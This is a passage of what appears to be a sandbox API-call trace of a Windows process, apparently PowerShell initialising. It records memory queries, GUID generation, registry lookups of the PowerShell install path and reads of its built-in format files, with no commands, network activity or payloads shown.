[0039.993] VirtualQuery (in: lpAddress=0x16d380, lpBuffer=0x16e380, dwLength=0x1c | out: lpBuffer=0x16e380*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.993] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x7dc817d, Data2=0xbe14, Data3=0x4052, Data4=([0]=0x9b, [1]=0x44, [2]=0xa3, [3]=0xc4, [4]=0xee, [5]=0x19, [6]=0xc1, [7]=0xcb))) returned 0x0
[0039.993] VirtualQuery (in: lpAddress=0x16d4d4, lpBuffer=0x16e4d4, dwLength=0x1c | out: lpBuffer=0x16e4d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.993] VirtualQuery (in: lpAddress=0x16d3ec, lpBuffer=0x16e3ec, dwLength=0x1c | out: lpBuffer=0x16e3ec*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.995] VirtualQuery (in: lpAddress=0x16d0a0, lpBuffer=0x16e0a0, dwLength=0x1c | out: lpBuffer=0x16e0a0*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.995] VirtualQuery (in: lpAddress=0x16d0a0, lpBuffer=0x16e0a0, dwLength=0x1c | out: lpBuffer=0x16e0a0*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.995] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x237439b7, Data2=0xf82a, Data3=0x4efb, Data4=([0]=0x9c, [1]=0xc0, [2]=0xf, [3]=0xd5, [4]=0x8, [5]=0xa4, [6]=0x8c, [7]=0x2a))) returned 0x0
[0039.995] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xdabed09a, Data2=0x8b09, Data3=0x48e6, Data4=([0]=0x8d, [1]=0x96, [2]=0x39, [3]=0x2, [4]=0xd5, [5]=0xda, [6]=0xb9, [7]=0xa0))) returned 0x0
[0039.996] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44
[0039.996] GetLastError () returned 0x57
[0039.996] SetErrorMode (uMode=0x1) returned 0x1
[0039.996] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x300
[0039.996] GetLastError () returned 0x0
[0039.996] GetFileType (hFile=0x300) returned 0x1
[0039.996] SetErrorMode (uMode=0x1) returned 0x1
[0039.996] GetFileType (hFile=0x300) returned 0x1
[0039.996] ReadFile (in: hFile=0x300, lpBuffer=0x237a448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x237a448*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0039.998] GetLastError () returned 0x0
[0039.998] ReadFile (in: hFile=0x300, lpBuffer=0x237a448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x237a448*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0039.998] GetLastError () returned 0x0
[0039.999] ReadFile (in: hFile=0x300, lpBuffer=0x237a448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x237a448*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0039.999] GetLastError () returned 0x0
[0039.999] ReadFile (in: hFile=0x300, lpBuffer=0x237a448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x237a448*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0039.999] GetLastError () returned 0x0
[0040.000] ReadFile (in: hFile=0x300, lpBuffer=0x237a448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x237a448*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.000] GetLastError () returned 0x0
[0040.000] ReadFile (in: hFile=0x300, lpBuffer=0x237a448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x237a448*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.000] GetLastError () returned 0x0
[0040.000] ReadFile (in: hFile=0x300, lpBuffer=0x237a448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x237a448*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.000] GetLastError () returned 0x0
[0040.000] ReadFile (in: hFile=0x300, lpBuffer=0x237a448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x237a448*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.000] GetLastError () returned 0x0
[0040.001] ReadFile (in: hFile=0x300, lpBuffer=0x237a448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x237a448*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.001] GetLastError () returned 0x0
[0040.001] ReadFile (in: hFile=0x300, lpBuffer=0x237a448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x237a448*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.001] GetLastError () returned 0x0
[0040.002] ReadFile (in: hFile=0x300, lpBuffer=0x237a448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x237a448*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.002] GetLastError () returned 0x0
[0040.002] ReadFile (in: hFile=0x300, lpBuffer=0x237a448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x237a448*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.002] GetLastError () returned 0x0
[0040.002] ReadFile (in: hFile=0x300, lpBuffer=0x237a448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x237a448*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.002] GetLastError () returned 0x0
[0040.002] ReadFile (in: hFile=0x300, lpBuffer=0x237a448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x237a448*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.002] GetLastError () returned 0x0
[0040.002] ReadFile (in: hFile=0x300, lpBuffer=0x237a448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x237a448*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.002] GetLastError () returned 0x0
[0040.003] ReadFile (in: hFile=0x300, lpBuffer=0x237a448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x237a448*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.003] GetLastError () returned 0x0
[0040.005] ReadFile (in: hFile=0x300, lpBuffer=0x237a448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x237a448*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.005] GetLastError () returned 0x0
[0040.005] ReadFile (in: hFile=0x300, lpBuffer=0x237a448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x237a448*, lpNumberOfBytesRead=0x16e654*=0xbce, lpOverlapped=0x0) returned 1
[0040.005] GetLastError () returned 0x0
[0040.006] ReadFile (in: hFile=0x300, lpBuffer=0x2379bb6, nNumberOfBytesToRead=0x32, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2379bb6*, lpNumberOfBytesRead=0x16e654*=0x0, lpOverlapped=0x0) returned 1
[0040.006] GetLastError () returned 0x0
[0040.006] ReadFile (in: hFile=0x300, lpBuffer=0x237a448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x237a448*, lpNumberOfBytesRead=0x16e654*=0x0, lpOverlapped=0x0) returned 1
[0040.006] GetLastError () returned 0x0
[0040.006] CloseHandle (hObject=0x300) returned 1
[0040.006] GetLastError () returned 0x0
[0040.006] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e1b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44
[0040.006] GetLastError () returned 0x0
[0040.006] SetErrorMode (uMode=0x1) returned 0x1
[0040.006] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x239b444 | out: lpFileInformation=0x239b444*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a077cff, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a077cff, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e8455c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1
[0040.006] GetLastError () returned 0x0
[0040.006] SetErrorMode (uMode=0x1) returned 0x1
[0040.006] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44
[0040.006] GetLastError () returned 0x0
[0040.006] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e5d8 | out: phkResult=0x16e5d8*=0x300) returned 0x0
[0040.006] RegQueryValueExW (in: hKey=0x300, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e620, lpData=0x0, lpcbData=0x16e61c*=0x0 | out: lpType=0x16e620*=0x1, lpData=0x0, lpcbData=0x16e61c*=0x56) returned 0x0
[0040.007] RegQueryValueExW (in: hKey=0x300, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e620, lpData=0x365310, lpcbData=0x16e61c*=0x56 | out: lpType=0x16e620*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x16e61c*=0x56) returned 0x0
[0040.007] RegCloseKey (hKey=0x300) returned 0x0
[0040.007] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44
[0040.007] GetLastError () returned 0x0
[0040.007] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e114, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44
[0040.007] GetLastError () returned 0x0
[0040.011] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x7a1d38d6, Data2=0xba32, Data3=0x4452, Data4=([0]=0x9d, [1]=0xb6, [2]=0xe7, [3]=0xe0, [4]=0x67, [5]=0xed, [6]=0x1b, [7]=0x3c))) returned 0x0
[0040.012] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xfbd2f0a1, Data2=0xa17a, Data3=0x44cd, Data4=([0]=0xbb, [1]=0x4b, [2]=0x4, [3]=0x1b, [4]=0x4c, [5]=0xab, [6]=0x97, [7]=0xcf))) returned 0x0
[0040.012] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xd2c1da4f, Data2=0xabaa, Data3=0x46be, Data4=([0]=0xa7, [1]=0xbb, [2]=0x78, [3]=0x81, [4]=0x4c, [5]=0x65, [6]=0x5f, [7]=0x18))) returned 0x0
[0040.012] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xdf1e8da1, Data2=0x7847, Data3=0x4b82, Data4=([0]=0x85, [1]=0x95, [2]=0xcc, [3]=0xe0, [4]=0x67, [5]=0x5b, [6]=0x11, [7]=0x6a))) returned 0x0
[0040.012] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xfd22e3d3, Data2=0xaa0a, Data3=0x436f, Data4=([0]=0xb0, [1]=0xe2, [2]=0x3b, [3]=0x72, [4]=0xb3, [5]=0xc1, [6]=0xcb, [7]=0x28))) returned 0x0
[0040.013] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x3d9d540f, Data2=0xdc45, Data3=0x4358, Data4=([0]=0xba, [1]=0x17, [2]=0xd2, [3]=0x54, [4]=0xa2, [5]=0x0, [6]=0x2e, [7]=0xb9))) returned 0x0
[0040.013] VirtualQuery (in: lpAddress=0x16d380, lpBuffer=0x16e380, dwLength=0x1c | out: lpBuffer=0x16e380*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.013] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x9a5df303, Data2=0x10b1, Data3=0x453c, Data4=([0]=0xbd, [1]=0xb0, [2]=0xd2, [3]=0x21, [4]=0xa5, [5]=0xd0, [6]=0xf7, [7]=0x58))) returned 0x0
[0040.013] VirtualQuery (in: lpAddress=0x16d380, lpBuffer=0x16e380, dwLength=0x1c | out: lpBuffer=0x16e380*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.013] VirtualQuery (in: lpAddress=0x16d380, lpBuffer=0x16e380, dwLength=0x1c | out: lpBuffer=0x16e380*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.014] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xa01a3885, Data2=0xb626, Data3=0x42f0, Data4=([0]=0x82, [1]=0xf2, [2]=0x72, [3]=0xf3, [4]=0x29, [5]=0x80, [6]=0xa9, [7]=0x5f))) returned 0x0
[0040.014] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xdfd9965a, Data2=0x75d8, Data3=0x48b3, Data4=([0]=0x99, [1]=0xe7, [2]=0xe4, [3]=0x53, [4]=0x93, [5]=0x69, [6]=0xc9, [7]=0xe1))) returned 0x0
[0040.014] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xe8c86ba1, Data2=0xb243, Data3=0x424c, Data4=([0]=0xb7, [1]=0x9, [2]=0xe8, [3]=0xe8, [4]=0x6c, [5]=0x33, [6]=0xfc, [7]=0xdf))) returned 0x0
[0040.014] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x261c7414, Data2=0x2e19, Data3=0x402e, Data4=([0]=0x9c, [1]=0xf4, [2]=0xe9, [3]=0x8e, [4]=0x97, [5]=0x2e, [6]=0x8a, [7]=0x7))) returned 0x0
[0040.015] VirtualQuery (in: lpAddress=0x16d380, lpBuffer=0x16e380, dwLength=0x1c | out: lpBuffer=0x16e380*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.015] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xa6c202fc, Data2=0x66b7, Data3=0x4e21, Data4=([0]=0xb2, [1]=0x85, [2]=0x6b, [3]=0x8e, [4]=0x3d, [5]=0x54, [6]=0x6f, [7]=0x53))) returned 0x0
[0040.015] VirtualQuery (in: lpAddress=0x16d380, lpBuffer=0x16e380, dwLength=0x1c | out: lpBuffer=0x16e380*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.015] VirtualQuery (in: lpAddress=0x16d380, lpBuffer=0x16e380, dwLength=0x1c | out: lpBuffer=0x16e380*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.016] VirtualQuery (in: lpAddress=0x16d380, lpBuffer=0x16e380, dwLength=0x1c | out: lpBuffer=0x16e380*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.017] VirtualQuery (in: lpAddress=0x16d380, lpBuffer=0x16e380, dwLength=0x1c | out: lpBuffer=0x16e380*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.017] VirtualQuery (in: lpAddress=0x16d380, lpBuffer=0x16e380, dwLength=0x1c | out: lpBuffer=0x16e380*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.018] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xf1482fb2, Data2=0x1a67, Data3=0x4b53, Data4=([0]=0x86, [1]=0xe0, [2]=0x4d, [3]=0x1f, [4]=0xd7, [5]=0x8f, [6]=0x35, [7]=0x60))) returned 0x0
[0040.018] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x14da6a1e, Data2=0x19df, Data3=0x4894, Data4=([0]=0x9a, [1]=0xa5, [2]=0x96, [3]=0x81, [4]=0x95, [5]=0xd2, [6]=0x20, [7]=0x15))) returned 0x0
[0040.018] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x41298833, Data2=0x389d, Data3=0x4614, Data4=([0]=0x9b, [1]=0xfd, [2]=0x80, [3]=0x5e, [4]=0xc2, [5]=0x1e, [6]=0x53, [7]=0x10))) returned 0x0
[0040.018] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xb8e6c054, Data2=0xb55f, Data3=0x4aa1, Data4=([0]=0xa5, [1]=0xb2, [2]=0x66, [3]=0x97, [4]=0x5b, [5]=0x45, [6]=0xd3, [7]=0x4c))) returned 0x0
[0040.018] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xc94d5a3d, Data2=0xab5, Data3=0x49c7, Data4=([0]=0xb6, [1]=0x83, [2]=0x3e, [3]=0xaf, [4]=0x5b, [5]=0x46, [6]=0xae, [7]=0x33))) returned 0x0
[0040.018] VirtualQuery (in: lpAddress=0x16d4d4, lpBuffer=0x16e4d4, dwLength=0x1c | out: lpBuffer=0x16e4d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.019] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xe0ed365b, Data2=0x53e5, Data3=0x45cd, Data4=([0]=0xbf, [1]=0xfb, [2]=0xac, [3]=0x61, [4]=0x88, [5]=0xbf, [6]=0x43, [7]=0x92))) returned 0x0
[0040.019] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x19ced984, Data2=0x2744, Data3=0x47bc, Data4=([0]=0xb0, [1]=0x12, [2]=0xc3, [3]=0x8a, [4]=0x97, [5]=0x79, [6]=0xa8, [7]=0xc1))) returned 0x0
[0040.019] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x9ca7fed1, Data2=0x216f, Data3=0x4966, Data4=([0]=0x92, [1]=0xa8, [2]=0x76, [3]=0xf9, [4]=0xfb, [5]=0xed, [6]=0x44, [7]=0xd))) returned 0x0
[0040.020] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xc3fa71a0, Data2=0x159a, Data3=0x466d, Data4=([0]=0xab, [1]=0x8c, [2]=0x67, [3]=0x3c, [4]=0x6b, [5]=0xa, [6]=0x7, [7]=0x6b))) returned 0x0
[0040.020] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x9a2cb5be, Data2=0x2ab5, Data3=0x42c3, Data4=([0]=0xa7, [1]=0x5b, [2]=0xac, [3]=0x6b, [4]=0x15, [5]=0x2d, [6]=0x91, [7]=0x96))) returned 0x0
[0040.020] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xf0d134e8, Data2=0x8b26, Data3=0x4549, Data4=([0]=0xbf, [1]=0x2f, [2]=0xf4, [3]=0x44, [4]=0x4, [5]=0x49, [6]=0xe9, [7]=0x14))) returned 0x0
[0040.020] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x85312038, Data2=0xb620, Data3=0x43b0, Data4=([0]=0xae, [1]=0x76, [2]=0x8f, [3]=0x72, [4]=0xef, [5]=0x5f, [6]=0x9, [7]=0xb7))) returned 0x0
[0040.020] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xe3aba8fb, Data2=0x3e1c, Data3=0x4f96, Data4=([0]=0xaa, [1]=0xa3, [2]=0xc6, [3]=0xd3, [4]=0x5e, [5]=0xe8, [6]=0xbe, [7]=0x97))) returned 0x0
[0040.020] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x81fc65dc, Data2=0xafac, Data3=0x4dd2, Data4=([0]=0xa4, [1]=0xb6, [2]=0x87, [3]=0xc4, [4]=0x89, [5]=0xde, [6]=0x1d, [7]=0x2a))) returned 0x0
[0040.021] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x89e6fc89, Data2=0xd9f9, Data3=0x4837, Data4=([0]=0xb3, [1]=0x44, [2]=0x45, [3]=0x8e, [4]=0x8f, [5]=0xc7, [6]=0x9f, [7]=0xdb))) returned 0x0
[0040.021] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xa158cc3, Data2=0x622a, Data3=0x4f97, Data4=([0]=0xb1, [1]=0x9e, [2]=0x90, [3]=0xf4, [4]=0xed, [5]=0x5e, [6]=0xd5, [7]=0xcc))) returned 0x0
[0040.021] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xac4d4f71, Data2=0x3723, Data3=0x4019, Data4=([0]=0x96, [1]=0xa7, [2]=0xd9, [3]=0x22, [4]=0x18, [5]=0xa8, [6]=0xe6, [7]=0x57))) returned 0x0
[0040.021] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x1d683ceb, Data2=0x8a, Data3=0x46ec, Data4=([0]=0x98, [1]=0x52, [2]=0x30, [3]=0xdd, [4]=0xc3, [5]=0xcb, [6]=0xd3, [7]=0xa2))) returned 0x0
[0040.021] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x8b10237b, Data2=0x87ab, Data3=0x48c5, Data4=([0]=0x8a, [1]=0xa8, [2]=0x7a, [3]=0xee, [4]=0xfe, [5]=0x54, [6]=0x5a, [7]=0x72))) returned 0x0
[0040.021] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x16a9325a, Data2=0x7ade, Data3=0x48f0, Data4=([0]=0xa4, [1]=0x5e, [2]=0x4, [3]=0x71, [4]=0xa4, [5]=0x43, [6]=0x3d, [7]=0x7e))) returned 0x0
[0040.022] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xba115419, Data2=0xd17d, Data3=0x46ca, Data4=([0]=0xa1, [1]=0x5c, [2]=0xcf, [3]=0x92, [4]=0xf7, [5]=0x3, [6]=0x45, [7]=0xc2))) returned 0x0
[0040.022] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x742b5251, Data2=0x521c, Data3=0x4619, Data4=([0]=0xa1, [1]=0x70, [2]=0xa, [3]=0xf2, [4]=0xfa, [5]=0xe5, [6]=0x4f, [7]=0x4f))) returned 0x0
[0040.022] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x27e492b, Data2=0x1753, Data3=0x4763, Data4=([0]=0xa6, [1]=0xd8, [2]=0xce, [3]=0x49, [4]=0xe5, [5]=0x4, [6]=0xbb, [7]=0x81))) returned 0x0
[0040.022] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x56d57cb5, Data2=0x93e1, Data3=0x4e3f, Data4=([0]=0x8a, [1]=0xc6, [2]=0x33, [3]=0xfd, [4]=0x43, [5]=0xd7, [6]=0x6a, [7]=0x5a))) returned 0x0
[0040.022] VirtualQuery (in: lpAddress=0x16d380, lpBuffer=0x16e380, dwLength=0x1c | out: lpBuffer=0x16e380*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.022] VirtualQuery (in: lpAddress=0x16d380, lpBuffer=0x16e380, dwLength=0x1c | out: lpBuffer=0x16e380*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.024] VirtualQuery (in: lpAddress=0x16d380, lpBuffer=0x16e380, dwLength=0x1c | out: lpBuffer=0x16e380*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.026] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x59fb2308, Data2=0x33cc, Data3=0x4946, Data4=([0]=0x89, [1]=0x38, [2]=0xfd, [3]=0xf9, [4]=0x44, [5]=0xb2, [6]=0xfb, [7]=0x70))) returned 0x0
[0040.027] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43
[0040.027] GetLastError () returned 0x0
[0040.027] SetErrorMode (uMode=0x1) returned 0x1
[0040.027] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x300
[0040.027] GetLastError () returned 0x0
[0040.027] GetFileType (hFile=0x300) returned 0x1
[0040.027] SetErrorMode (uMode=0x1) returned 0x1
[0040.027] GetFileType (hFile=0x300) returned 0x1
